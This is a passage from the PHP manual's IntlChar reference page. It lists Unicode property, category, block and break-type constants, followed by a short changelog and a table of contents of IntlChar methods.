IntlChar::PROPERTY_S_TERM

IntlChar::PROPERTY_VARIATION_SELECTOR

IntlChar::PROPERTY_NFD_INERT

IntlChar::PROPERTY_NFKD_INERT

IntlChar::PROPERTY_NFC_INERT

IntlChar::PROPERTY_NFKC_INERT

IntlChar::PROPERTY_SEGMENT_STARTER

IntlChar::PROPERTY_PATTERN_SYNTAX

IntlChar::PROPERTY_PATTERN_WHITE_SPACE

IntlChar::PROPERTY_POSIX_ALNUM

IntlChar::PROPERTY_POSIX_BLANK

IntlChar::PROPERTY_POSIX_GRAPH

IntlChar::PROPERTY_POSIX_PRINT

IntlChar::PROPERTY_POSIX_XDIGIT

IntlChar::PROPERTY_CASED

IntlChar::PROPERTY_CASE_IGNORABLE

IntlChar::PROPERTY_CHANGES_WHEN_LOWERCASED

IntlChar::PROPERTY_CHANGES_WHEN_UPPERCASED

IntlChar::PROPERTY_CHANGES_WHEN_TITLECASED

IntlChar::PROPERTY_CHANGES_WHEN_CASEFOLDED

IntlChar::PROPERTY_CHANGES_WHEN_CASEMAPPED

IntlChar::PROPERTY_CHANGES_WHEN_NFKC_CASEFOLDED

IntlChar::PROPERTY_BINARY_LIMIT

IntlChar::PROPERTY_BIDI_CLASS

IntlChar::PROPERTY_INT_START

IntlChar::PROPERTY_BLOCK

IntlChar::PROPERTY_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_DECOMPOSITION_TYPE

IntlChar::PROPERTY_EAST_ASIAN_WIDTH

IntlChar::PROPERTY_GENERAL_CATEGORY

IntlChar::PROPERTY_JOINING_GROUP

IntlChar::PROPERTY_JOINING_TYPE

IntlChar::PROPERTY_LINE_BREAK

IntlChar::PROPERTY_NUMERIC_TYPE

IntlChar::PROPERTY_SCRIPT

IntlChar::PROPERTY_HANGUL_SYLLABLE_TYPE

IntlChar::PROPERTY_NFD_QUICK_CHECK

IntlChar::PROPERTY_NFKD_QUICK_CHECK

IntlChar::PROPERTY_NFC_QUICK_CHECK

IntlChar::PROPERTY_NFKC_QUICK_CHECK

IntlChar::PROPERTY_LEAD_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_TRAIL_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_GRAPHEME_CLUSTER_BREAK

IntlChar::PROPERTY_SENTENCE_BREAK

IntlChar::PROPERTY_WORD_BREAK

IntlChar::PROPERTY_BIDI_PAIRED_BRACKET_TYPE

IntlChar::PROPERTY_INT_LIMIT

IntlChar::PROPERTY_GENERAL_CATEGORY_MASK

IntlChar::PROPERTY_MASK_START

IntlChar::PROPERTY_MASK_LIMIT

IntlChar::PROPERTY_NUMERIC_VALUE

IntlChar::PROPERTY_DOUBLE_START

IntlChar::PROPERTY_DOUBLE_LIMIT

IntlChar::PROPERTY_AGE

IntlChar::PROPERTY_STRING_START

IntlChar::PROPERTY_BIDI_MIRRORING_GLYPH

IntlChar::PROPERTY_CASE_FOLDING

IntlChar::PROPERTY_ISO_COMMENT

IntlChar::PROPERTY_LOWERCASE_MAPPING

IntlChar::PROPERTY_NAME

IntlChar::PROPERTY_SIMPLE_CASE_FOLDING

IntlChar::PROPERTY_SIMPLE_LOWERCASE_MAPPING

IntlChar::PROPERTY_SIMPLE_TITLECASE_MAPPING

IntlChar::PROPERTY_SIMPLE_UPPERCASE_MAPPING

IntlChar::PROPERTY_TITLECASE_MAPPING

IntlChar::PROPERTY_UNICODE_1_NAME

IntlChar::PROPERTY_UPPERCASE_MAPPING

IntlChar::PROPERTY_BIDI_PAIRED_BRACKET

IntlChar::PROPERTY_STRING_LIMIT

IntlChar::PROPERTY_SCRIPT_EXTENSIONS

IntlChar::PROPERTY_OTHER_PROPERTY_START

IntlChar::PROPERTY_OTHER_PROPERTY_LIMIT

IntlChar::PROPERTY_INVALID_CODE

IntlChar::CHAR_CATEGORY_UNASSIGNED

IntlChar::CHAR_CATEGORY_GENERAL_OTHER_TYPES

IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER

IntlChar::CHAR_CATEGORY_LOWERCASE_LETTER

IntlChar::CHAR_CATEGORY_TITLECASE_LETTER

IntlChar::CHAR_CATEGORY_MODIFIER_LETTER

IntlChar::CHAR_CATEGORY_OTHER_LETTER

IntlChar::CHAR_CATEGORY_NON_SPACING_MARK

IntlChar::CHAR_CATEGORY_ENCLOSING_MARK

IntlChar::CHAR_CATEGORY_COMBINING_SPACING_MARK

IntlChar::CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER

IntlChar::CHAR_CATEGORY_LETTER_NUMBER

IntlChar::CHAR_CATEGORY_OTHER_NUMBER

IntlChar::CHAR_CATEGORY_SPACE_SEPARATOR

IntlChar::CHAR_CATEGORY_LINE_SEPARATOR

IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR

IntlChar::CHAR_CATEGORY_CONTROL_CHAR

IntlChar::CHAR_CATEGORY_FORMAT_CHAR

IntlChar::CHAR_CATEGORY_PRIVATE_USE_CHAR

IntlChar::CHAR_CATEGORY_SURROGATE

IntlChar::CHAR_CATEGORY_DASH_PUNCTUATION

IntlChar::CHAR_CATEGORY_START_PUNCTUATION

IntlChar::CHAR_CATEGORY_END_PUNCTUATION

IntlChar::CHAR_CATEGORY_CONNECTOR_PUNCTUATION

IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION

IntlChar::CHAR_CATEGORY_MATH_SYMBOL

IntlChar::CHAR_CATEGORY_CURRENCY_SYMBOL

IntlChar::CHAR_CATEGORY_MODIFIER_SYMBOL

IntlChar::CHAR_CATEGORY_OTHER_SYMBOL

IntlChar::CHAR_CATEGORY_INITIAL_PUNCTUATION

IntlChar::CHAR_CATEGORY_FINAL_PUNCTUATION

IntlChar::CHAR_CATEGORY_CHAR_CATEGORY_COUNT

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR

IntlChar::CHAR_DIRECTION_ARABIC_NUMBER

IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR

IntlChar::CHAR_DIRECTION_BLOCK_SEPARATOR

IntlChar::CHAR_DIRECTION_SEGMENT_SEPARATOR

IntlChar::CHAR_DIRECTION_WHITE_SPACE_NEUTRAL

IntlChar::CHAR_DIRECTION_OTHER_NEUTRAL

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE

IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT

IntlChar::CHAR_DIRECTION_DIR_NON_SPACING_MARK

IntlChar::CHAR_DIRECTION_BOUNDARY_NEUTRAL

IntlChar::CHAR_DIRECTION_FIRST_STRONG_ISOLATE

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE

IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE

IntlChar::CHAR_DIRECTION_CHAR_DIRECTION_COUNT

IntlChar::BLOCK_CODE_NO_BLOCK

IntlChar::BLOCK_CODE_BASIC_LATIN

IntlChar::BLOCK_CODE_LATIN_1_SUPPLEMENT

IntlChar::BLOCK_CODE_LATIN_EXTENDED_A

IntlChar::BLOCK_CODE_LATIN_EXTENDED_B

IntlChar::BLOCK_CODE_IPA_EXTENSIONS

IntlChar::BLOCK_CODE_SPACING_MODIFIER_LETTERS

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS

IntlChar::BLOCK_CODE_GREEK

IntlChar::BLOCK_CODE_CYRILLIC

IntlChar::BLOCK_CODE_ARMENIAN

IntlChar::BLOCK_CODE_HEBREW

IntlChar::BLOCK_CODE_ARABIC

IntlChar::BLOCK_CODE_SYRIAC

IntlChar::BLOCK_CODE_THAANA

IntlChar::BLOCK_CODE_DEVANAGARI

IntlChar::BLOCK_CODE_BENGALI

IntlChar::BLOCK_CODE_GURMUKHI

IntlChar::BLOCK_CODE_GUJARATI

IntlChar::BLOCK_CODE_ORIYA

IntlChar::BLOCK_CODE_TAMIL

IntlChar::BLOCK_CODE_TELUGU

IntlChar::BLOCK_CODE_KANNADA

IntlChar::BLOCK_CODE_MALAYALAM

IntlChar::BLOCK_CODE_SINHALA

IntlChar::BLOCK_CODE_THAI

IntlChar::BLOCK_CODE_LAO

IntlChar::BLOCK_CODE_TIBETAN

IntlChar::BLOCK_CODE_MYANMAR

IntlChar::BLOCK_CODE_GEORGIAN

IntlChar::BLOCK_CODE_HANGUL_JAMO

IntlChar::BLOCK_CODE_ETHIOPIC

IntlChar::BLOCK_CODE_CHEROKEE

IntlChar::BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS

IntlChar::BLOCK_CODE_OGHAM

IntlChar::BLOCK_CODE_RUNIC

IntlChar::BLOCK_CODE_KHMER

IntlChar::BLOCK_CODE_MONGOLIAN

IntlChar::BLOCK_CODE_LATIN_EXTENDED_ADDITIONAL

IntlChar::BLOCK_CODE_GREEK_EXTENDED

IntlChar::BLOCK_CODE_GENERAL_PUNCTUATION

IntlChar::BLOCK_CODE_SUPERSCRIPTS_AND_SUBSCRIPTS

IntlChar::BLOCK_CODE_CURRENCY_SYMBOLS

IntlChar::BLOCK_CODE_COMBINING_MARKS_FOR_SYMBOLS

IntlChar::BLOCK_CODE_LETTERLIKE_SYMBOLS

IntlChar::BLOCK_CODE_NUMBER_FORMS

IntlChar::BLOCK_CODE_ARROWS

IntlChar::BLOCK_CODE_MATHEMATICAL_OPERATORS

IntlChar::BLOCK_CODE_MISCELLANEOUS_TECHNICAL

IntlChar::BLOCK_CODE_CONTROL_PICTURES

IntlChar::BLOCK_CODE_OPTICAL_CHARACTER_RECOGNITION

IntlChar::BLOCK_CODE_ENCLOSED_ALPHANUMERICS

IntlChar::BLOCK_CODE_BOX_DRAWING

IntlChar::BLOCK_CODE_BLOCK_ELEMENTS

IntlChar::BLOCK_CODE_GEOMETRIC_SHAPES

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS

IntlChar::BLOCK_CODE_DINGBATS

IntlChar::BLOCK_CODE_BRAILLE_PATTERNS

IntlChar::BLOCK_CODE_CJK_RADICALS_SUPPLEMENT

IntlChar::BLOCK_CODE_KANGXI_RADICALS

IntlChar::BLOCK_CODE_IDEOGRAPHIC_DESCRIPTION_CHARACTERS

IntlChar::BLOCK_CODE_CJK_SYMBOLS_AND_PUNCTUATION

IntlChar::BLOCK_CODE_HIRAGANA

IntlChar::BLOCK_CODE_KATAKANA

IntlChar::BLOCK_CODE_BOPOMOFO

IntlChar::BLOCK_CODE_HANGUL_COMPATIBILITY_JAMO

IntlChar::BLOCK_CODE_KANBUN

IntlChar::BLOCK_CODE_BOPOMOFO_EXTENDED

IntlChar::BLOCK_CODE_ENCLOSED_CJK_LETTERS_AND_MONTHS

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS

IntlChar::BLOCK_CODE_YI_SYLLABLES

IntlChar::BLOCK_CODE_YI_RADICALS

IntlChar::BLOCK_CODE_HANGUL_SYLLABLES

IntlChar::BLOCK_CODE_HIGH_SURROGATES

IntlChar::BLOCK_CODE_HIGH_PRIVATE_USE_SURROGATES

IntlChar::BLOCK_CODE_LOW_SURROGATES

IntlChar::BLOCK_CODE_PRIVATE_USE_AREA

IntlChar::BLOCK_CODE_PRIVATE_USE

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS

IntlChar::BLOCK_CODE_ALPHABETIC_PRESENTATION_FORMS

IntlChar::BLOCK_CODE_ARABIC_PRESENTATION_FORMS_A

IntlChar::BLOCK_CODE_COMBINING_HALF_MARKS

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_FORMS

IntlChar::BLOCK_CODE_SMALL_FORM_VARIANTS

IntlChar::BLOCK_CODE_ARABIC_PRESENTATION_FORMS_B

IntlChar::BLOCK_CODE_SPECIALS

IntlChar::BLOCK_CODE_HALFWIDTH_AND_FULLWIDTH_FORMS

IntlChar::BLOCK_CODE_OLD_ITALIC

IntlChar::BLOCK_CODE_GOTHIC

IntlChar::BLOCK_CODE_DESERET

IntlChar::BLOCK_CODE_BYZANTINE_MUSICAL_SYMBOLS

IntlChar::BLOCK_CODE_MUSICAL_SYMBOLS

IntlChar::BLOCK_CODE_MATHEMATICAL_ALPHANUMERIC_SYMBOLS

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT

IntlChar::BLOCK_CODE_TAGS

IntlChar::BLOCK_CODE_CYRILLIC_SUPPLEMENT

IntlChar::BLOCK_CODE_CYRILLIC_SUPPLEMENTARY

IntlChar::BLOCK_CODE_TAGALOG

IntlChar::BLOCK_CODE_HANUNOO

IntlChar::BLOCK_CODE_BUHID

IntlChar::BLOCK_CODE_TAGBANWA

IntlChar::BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_A

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_B

IntlChar::BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B

IntlChar::BLOCK_CODE_SUPPLEMENTAL_MATHEMATICAL_OPERATORS

IntlChar::BLOCK_CODE_KATAKANA_PHONETIC_EXTENSIONS

IntlChar::BLOCK_CODE_VARIATION_SELECTORS

IntlChar::BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_A

IntlChar::BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_B

IntlChar::BLOCK_CODE_LIMBU

IntlChar::BLOCK_CODE_TAI_LE

IntlChar::BLOCK_CODE_KHMER_SYMBOLS

IntlChar::BLOCK_CODE_PHONETIC_EXTENSIONS

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_ARROWS

IntlChar::BLOCK_CODE_YIJING_HEXAGRAM_SYMBOLS

IntlChar::BLOCK_CODE_LINEAR_B_SYLLABARY

IntlChar::BLOCK_CODE_LINEAR_B_IDEOGRAMS

IntlChar::BLOCK_CODE_AEGEAN_NUMBERS

IntlChar::BLOCK_CODE_UGARITIC

IntlChar::BLOCK_CODE_SHAVIAN

IntlChar::BLOCK_CODE_OSMANYA

IntlChar::BLOCK_CODE_CYPRIOT_SYLLABARY

IntlChar::BLOCK_CODE_TAI_XUAN_JING_SYMBOLS

IntlChar::BLOCK_CODE_VARIATION_SELECTORS_SUPPLEMENT

IntlChar::BLOCK_CODE_ANCIENT_GREEK_MUSICAL_NOTATION

IntlChar::BLOCK_CODE_ANCIENT_GREEK_NUMBERS

IntlChar::BLOCK_CODE_ARABIC_SUPPLEMENT

IntlChar::BLOCK_CODE_BUGINESE

IntlChar::BLOCK_CODE_CJK_STROKES

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_SUPPLEMENT

IntlChar::BLOCK_CODE_COPTIC

IntlChar::BLOCK_CODE_ETHIOPIC_EXTENDED

IntlChar::BLOCK_CODE_ETHIOPIC_SUPPLEMENT

IntlChar::BLOCK_CODE_GEORGIAN_SUPPLEMENT

IntlChar::BLOCK_CODE_GLAGOLITIC

IntlChar::BLOCK_CODE_KHAROSHTHI

IntlChar::BLOCK_CODE_MODIFIER_TONE_LETTERS

IntlChar::BLOCK_CODE_NEW_TAI_LUE

IntlChar::BLOCK_CODE_OLD_PERSIAN

IntlChar::BLOCK_CODE_PHONETIC_EXTENSIONS_SUPPLEMENT

IntlChar::BLOCK_CODE_SUPPLEMENTAL_PUNCTUATION

IntlChar::BLOCK_CODE_SYLOTI_NAGRI

IntlChar::BLOCK_CODE_TIFINAGH

IntlChar::BLOCK_CODE_VERTICAL_FORMS

IntlChar::BLOCK_CODE_NKO

IntlChar::BLOCK_CODE_BALINESE

IntlChar::BLOCK_CODE_LATIN_EXTENDED_C

IntlChar::BLOCK_CODE_LATIN_EXTENDED_D

IntlChar::BLOCK_CODE_PHAGS_PA

IntlChar::BLOCK_CODE_PHOENICIAN

IntlChar::BLOCK_CODE_CUNEIFORM

IntlChar::BLOCK_CODE_CUNEIFORM_NUMBERS_AND_PUNCTUATION

IntlChar::BLOCK_CODE_COUNTING_ROD_NUMERALS

IntlChar::BLOCK_CODE_SUNDANESE

IntlChar::BLOCK_CODE_LEPCHA

IntlChar::BLOCK_CODE_OL_CHIKI

IntlChar::BLOCK_CODE_CYRILLIC_EXTENDED_A

IntlChar::BLOCK_CODE_VAI

IntlChar::BLOCK_CODE_CYRILLIC_EXTENDED_B

IntlChar::BLOCK_CODE_SAURASHTRA

IntlChar::BLOCK_CODE_KAYAH_LI

IntlChar::BLOCK_CODE_REJANG

IntlChar::BLOCK_CODE_CHAM

IntlChar::BLOCK_CODE_ANCIENT_SYMBOLS

IntlChar::BLOCK_CODE_PHAISTOS_DISC

IntlChar::BLOCK_CODE_LYCIAN

IntlChar::BLOCK_CODE_CARIAN

IntlChar::BLOCK_CODE_LYDIAN

IntlChar::BLOCK_CODE_MAHJONG_TILES

IntlChar::BLOCK_CODE_DOMINO_TILES

IntlChar::BLOCK_CODE_SAMARITAN

IntlChar::BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED

IntlChar::BLOCK_CODE_TAI_THAM

IntlChar::BLOCK_CODE_VEDIC_EXTENSIONS

IntlChar::BLOCK_CODE_LISU

IntlChar::BLOCK_CODE_BAMUM

IntlChar::BLOCK_CODE_COMMON_INDIC_NUMBER_FORMS

IntlChar::BLOCK_CODE_DEVANAGARI_EXTENDED

IntlChar::BLOCK_CODE_HANGUL_JAMO_EXTENDED_A

IntlChar::BLOCK_CODE_JAVANESE

IntlChar::BLOCK_CODE_MYANMAR_EXTENDED_A

IntlChar::BLOCK_CODE_TAI_VIET

IntlChar::BLOCK_CODE_MEETEI_MAYEK

IntlChar::BLOCK_CODE_HANGUL_JAMO_EXTENDED_B

IntlChar::BLOCK_CODE_IMPERIAL_ARAMAIC

IntlChar::BLOCK_CODE_OLD_SOUTH_ARABIAN

IntlChar::BLOCK_CODE_AVESTAN

IntlChar::BLOCK_CODE_INSCRIPTIONAL_PARTHIAN

IntlChar::BLOCK_CODE_INSCRIPTIONAL_PAHLAVI

IntlChar::BLOCK_CODE_OLD_TURKIC

IntlChar::BLOCK_CODE_RUMI_NUMERAL_SYMBOLS

IntlChar::BLOCK_CODE_KAITHI

IntlChar::BLOCK_CODE_EGYPTIAN_HIEROGLYPHS

IntlChar::BLOCK_CODE_ENCLOSED_ALPHANUMERIC_SUPPLEMENT

IntlChar::BLOCK_CODE_ENCLOSED_IDEOGRAPHIC_SUPPLEMENT

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C

IntlChar::BLOCK_CODE_MANDAIC

IntlChar::BLOCK_CODE_BATAK

IntlChar::BLOCK_CODE_ETHIOPIC_EXTENDED_A

IntlChar::BLOCK_CODE_BRAHMI

IntlChar::BLOCK_CODE_BAMUM_SUPPLEMENT

IntlChar::BLOCK_CODE_KANA_SUPPLEMENT

IntlChar::BLOCK_CODE_PLAYING_CARDS

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS

IntlChar::BLOCK_CODE_EMOTICONS

IntlChar::BLOCK_CODE_TRANSPORT_AND_MAP_SYMBOLS

IntlChar::BLOCK_CODE_ALCHEMICAL_SYMBOLS

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D

IntlChar::BLOCK_CODE_ARABIC_EXTENDED_A

IntlChar::BLOCK_CODE_ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS

IntlChar::BLOCK_CODE_CHAKMA

IntlChar::BLOCK_CODE_MEETEI_MAYEK_EXTENSIONS

IntlChar::BLOCK_CODE_MEROITIC_CURSIVE

IntlChar::BLOCK_CODE_MEROITIC_HIEROGLYPHS

IntlChar::BLOCK_CODE_MIAO

IntlChar::BLOCK_CODE_SHARADA

IntlChar::BLOCK_CODE_SORA_SOMPENG

IntlChar::BLOCK_CODE_SUNDANESE_SUPPLEMENT

IntlChar::BLOCK_CODE_TAKRI

IntlChar::BLOCK_CODE_COUNT

IntlChar::BLOCK_CODE_INVALID_CODE

IntlChar::BPT_NONE

IntlChar::BPT_OPEN

IntlChar::BPT_CLOSE

IntlChar::BPT_COUNT

IntlChar::EA_NEUTRAL

IntlChar::EA_AMBIGUOUS

IntlChar::EA_HALFWIDTH

IntlChar::EA_FULLWIDTH

IntlChar::EA_NARROW

IntlChar::EA_WIDE

IntlChar::EA_COUNT

IntlChar::UNICODE_CHAR_NAME

IntlChar::UNICODE_10_CHAR_NAME

IntlChar::EXTENDED_CHAR_NAME

IntlChar::CHAR_NAME_ALIAS

IntlChar::CHAR_NAME_CHOICE_COUNT

IntlChar::SHORT_PROPERTY_NAME

IntlChar::LONG_PROPERTY_NAME

IntlChar::PROPERTY_NAME_CHOICE_COUNT

IntlChar::DT_NONE

IntlChar::DT_CANONICAL

IntlChar::DT_COMPAT

IntlChar::DT_CIRCLE

IntlChar::DT_FINAL

IntlChar::DT_FONT

IntlChar::DT_FRACTION

IntlChar::DT_INITIAL

IntlChar::DT_ISOLATED

IntlChar::DT_MEDIAL

IntlChar::DT_NARROW

IntlChar::DT_NOBREAK

IntlChar::DT_SMALL

IntlChar::DT_SQUARE

IntlChar::DT_SUB

IntlChar::DT_SUPER

IntlChar::DT_VERTICAL

IntlChar::DT_WIDE

IntlChar::DT_COUNT

IntlChar::JT_NON_JOINING

IntlChar::JT_JOIN_CAUSING

IntlChar::JT_DUAL_JOINING

IntlChar::JT_LEFT_JOINING

IntlChar::JT_RIGHT_JOINING

IntlChar::JT_TRANSPARENT

IntlChar::JT_COUNT

IntlChar::JG_NO_JOINING_GROUP

IntlChar::JG_AIN

IntlChar::JG_ALAPH

IntlChar::JG_ALEF

IntlChar::JG_BEH

IntlChar::JG_BETH

IntlChar::JG_DAL

IntlChar::JG_DALATH_RISH

IntlChar::JG_E

IntlChar::JG_FEH

IntlChar::JG_FINAL_SEMKATH

IntlChar::JG_GAF

IntlChar::JG_GAMAL

IntlChar::JG_HAH

IntlChar::JG_TEH_MARBUTA_GOAL

IntlChar::JG_HAMZA_ON_HEH_GOAL

IntlChar::JG_HE

IntlChar::JG_HEH

IntlChar::JG_HEH_GOAL

IntlChar::JG_HETH

IntlChar::JG_KAF

IntlChar::JG_KAPH

IntlChar::JG_KNOTTED_HEH

IntlChar::JG_LAM

IntlChar::JG_LAMADH

IntlChar::JG_MEEM

IntlChar::JG_MIM

IntlChar::JG_NOON

IntlChar::JG_NUN

IntlChar::JG_PE

IntlChar::JG_QAF

IntlChar::JG_QAPH

IntlChar::JG_REH

IntlChar::JG_REVERSED_PE

IntlChar::JG_SAD

IntlChar::JG_SADHE

IntlChar::JG_SEEN

IntlChar::JG_SEMKATH

IntlChar::JG_SHIN

IntlChar::JG_SWASH_KAF

IntlChar::JG_SYRIAC_WAW

IntlChar::JG_TAH

IntlChar::JG_TAW

IntlChar::JG_TEH_MARBUTA

IntlChar::JG_TETH

IntlChar::JG_WAW

IntlChar::JG_YEH

IntlChar::JG_YEH_BARREE

IntlChar::JG_YEH_WITH_TAIL

IntlChar::JG_YUDH

IntlChar::JG_YUDH_HE

IntlChar::JG_ZAIN

IntlChar::JG_FE

IntlChar::JG_KHAPH

IntlChar::JG_ZHAIN

IntlChar::JG_BURUSHASKI_YEH_BARREE

IntlChar::JG_FARSI_YEH

IntlChar::JG_NYA

IntlChar::JG_ROHINGYA_YEH

IntlChar::JG_COUNT

IntlChar::GCB_OTHER

IntlChar::GCB_CONTROL

IntlChar::GCB_CR

IntlChar::GCB_EXTEND

IntlChar::GCB_L

IntlChar::GCB_LF

IntlChar::GCB_LV

IntlChar::GCB_LVT

IntlChar::GCB_T

IntlChar::GCB_V

IntlChar::GCB_SPACING_MARK

IntlChar::GCB_PREPEND

IntlChar::GCB_REGIONAL_INDICATOR

IntlChar::GCB_COUNT

IntlChar::WB_OTHER

IntlChar::WB_ALETTER

IntlChar::WB_FORMAT

IntlChar::WB_KATAKANA

IntlChar::WB_MIDLETTER

IntlChar::WB_MIDNUM

IntlChar::WB_NUMERIC

IntlChar::WB_EXTENDNUMLET

IntlChar::WB_CR

IntlChar::WB_EXTEND

IntlChar::WB_LF

IntlChar::WB_MIDNUMLET

IntlChar::WB_NEWLINE

IntlChar::WB_REGIONAL_INDICATOR

IntlChar::WB_HEBREW_LETTER

IntlChar::WB_SINGLE_QUOTE

IntlChar::WB_DOUBLE_QUOTE

IntlChar::WB_COUNT

IntlChar::SB_OTHER

IntlChar::SB_ATERM

IntlChar::SB_CLOSE

IntlChar::SB_FORMAT

IntlChar::SB_LOWER

IntlChar::SB_NUMERIC

IntlChar::SB_OLETTER

IntlChar::SB_SEP

IntlChar::SB_SP

IntlChar::SB_STERM

IntlChar::SB_UPPER

IntlChar::SB_CR

IntlChar::SB_EXTEND

IntlChar::SB_LF

IntlChar::SB_SCONTINUE

IntlChar::SB_COUNT

IntlChar::LB_UNKNOWN

IntlChar::LB_AMBIGUOUS

IntlChar::LB_ALPHABETIC

IntlChar::LB_BREAK_BOTH

IntlChar::LB_BREAK_AFTER

IntlChar::LB_BREAK_BEFORE

IntlChar::LB_MANDATORY_BREAK

IntlChar::LB_CONTINGENT_BREAK

IntlChar::LB_CLOSE_PUNCTUATION

IntlChar::LB_COMBINING_MARK

IntlChar::LB_CARRIAGE_RETURN

IntlChar::LB_EXCLAMATION

IntlChar::LB_GLUE

IntlChar::LB_HYPHEN

IntlChar::LB_IDEOGRAPHIC

IntlChar::LB_INSEPARABLE

IntlChar::LB_INSEPERABLE

IntlChar::LB_INFIX_NUMERIC

IntlChar::LB_LINE_FEED

IntlChar::LB_NONSTARTER

IntlChar::LB_NUMERIC

IntlChar::LB_OPEN_PUNCTUATION

IntlChar::LB_POSTFIX_NUMERIC

IntlChar::LB_PREFIX_NUMERIC

IntlChar::LB_QUOTATION

IntlChar::LB_COMPLEX_CONTEXT

IntlChar::LB_SURROGATE

IntlChar::LB_SPACE

IntlChar::LB_BREAK_SYMBOLS

IntlChar::LB_ZWSPACE

IntlChar::LB_NEXT_LINE

IntlChar::LB_WORD_JOINER

IntlChar::LB_H2

IntlChar::LB_H3

IntlChar::LB_JL

IntlChar::LB_JT

IntlChar::LB_JV

IntlChar::LB_CLOSE_PARENTHESIS

IntlChar::LB_CONDITIONAL_JAPANESE_STARTER

IntlChar::LB_HEBREW_LETTER

IntlChar::LB_REGIONAL_INDICATOR

IntlChar::LB_COUNT

IntlChar::NT_NONE

IntlChar::NT_DECIMAL

IntlChar::NT_DIGIT

IntlChar::NT_NUMERIC

IntlChar::NT_COUNT

IntlChar::HST_NOT_APPLICABLE

IntlChar::HST_LEADING_JAMO

IntlChar::HST_VOWEL_JAMO

IntlChar::HST_TRAILING_JAMO

IntlChar::HST_LV_SYLLABLE

IntlChar::HST_LVT_SYLLABLE

IntlChar::HST_COUNT

IntlChar::FOLD_CASE_DEFAULT

IntlChar::FOLD_CASE_EXCLUDE_SPECIAL_I

変更履歴

バージョン | 説明
7.0.6 | The IntlChar::NO_NUMERIC_VALUE constant was added.

目次

  • IntlChar::charAge — Get the "age" of the code point
  • IntlChar::charDigitValue — Get the decimal digit value of a decimal digit character
  • IntlChar::charDirection — Get bidirectional category value for a code point
  • IntlChar::charFromName — Find Unicode character by name and return its code point value
  • IntlChar::charMirror — Get the "mirror-image" character for a code point
  • IntlChar::charName — Retrieve the name of a Unicode character
  • IntlChar::charType — Get the general category value for a code point
  • IntlChar::chr — Return Unicode character by code point value
  • IntlChar::digit — Get the decimal digit value of a code point for a given radix
  • IntlChar::enumCharNames — Enumerate all assigned Unicode characters within a range
  • IntlChar::enumCharTypes — Enumerate all code points with their Unicode general categories
  • IntlChar::foldCase — Perform case folding on a code point
  • IntlChar::forDigit — Get character representation for a given digit and radix
  • IntlChar::getBidiPairedBracket — Get the paired bracket character for a code point
  • IntlChar::getBlockCode — Get the Unicode allocation block containing a code point
  • IntlChar::getCombiningClass — Get the combining class of a code point
  • IntlChar::getFC_NFKC_Closure — Get the FC_NFKC_Closure property for a code point
  • IntlChar::getIntPropertyMaxValue — Get the max value for a Unicode property
  • IntlChar::getIntPropertyMinValue — Get the min value for a Unicode property
  • IntlChar::getIntPropertyValue — Get the value for a Unicode property for a code point
  • IntlChar::getNumericValue — Get the numeric value for a Unicode code point
  • IntlChar::getPropertyEnum — Get the property constant value for a given property name
  • IntlChar::getPropertyName — Get the Unicode name for a property
  • IntlChar::getPropertyValueEnum — Get the property value for a given value name
  • IntlChar::getPropertyValueName — Get the Unicode name for a property value
  • IntlChar::getUnicodeVersion — Get the Unicode version
  • IntlChar::hasBinaryProperty — Check a binary Unicode property for a code point
  • IntlChar::isalnum — Check if code point is an alphanumeric character
  • IntlChar::isalpha — Check if code point is a letter character
  • IntlChar::isbase — Check if code point is a base character
  • IntlChar::isblank — Check if code point is a "blank" or "horizontal space" character
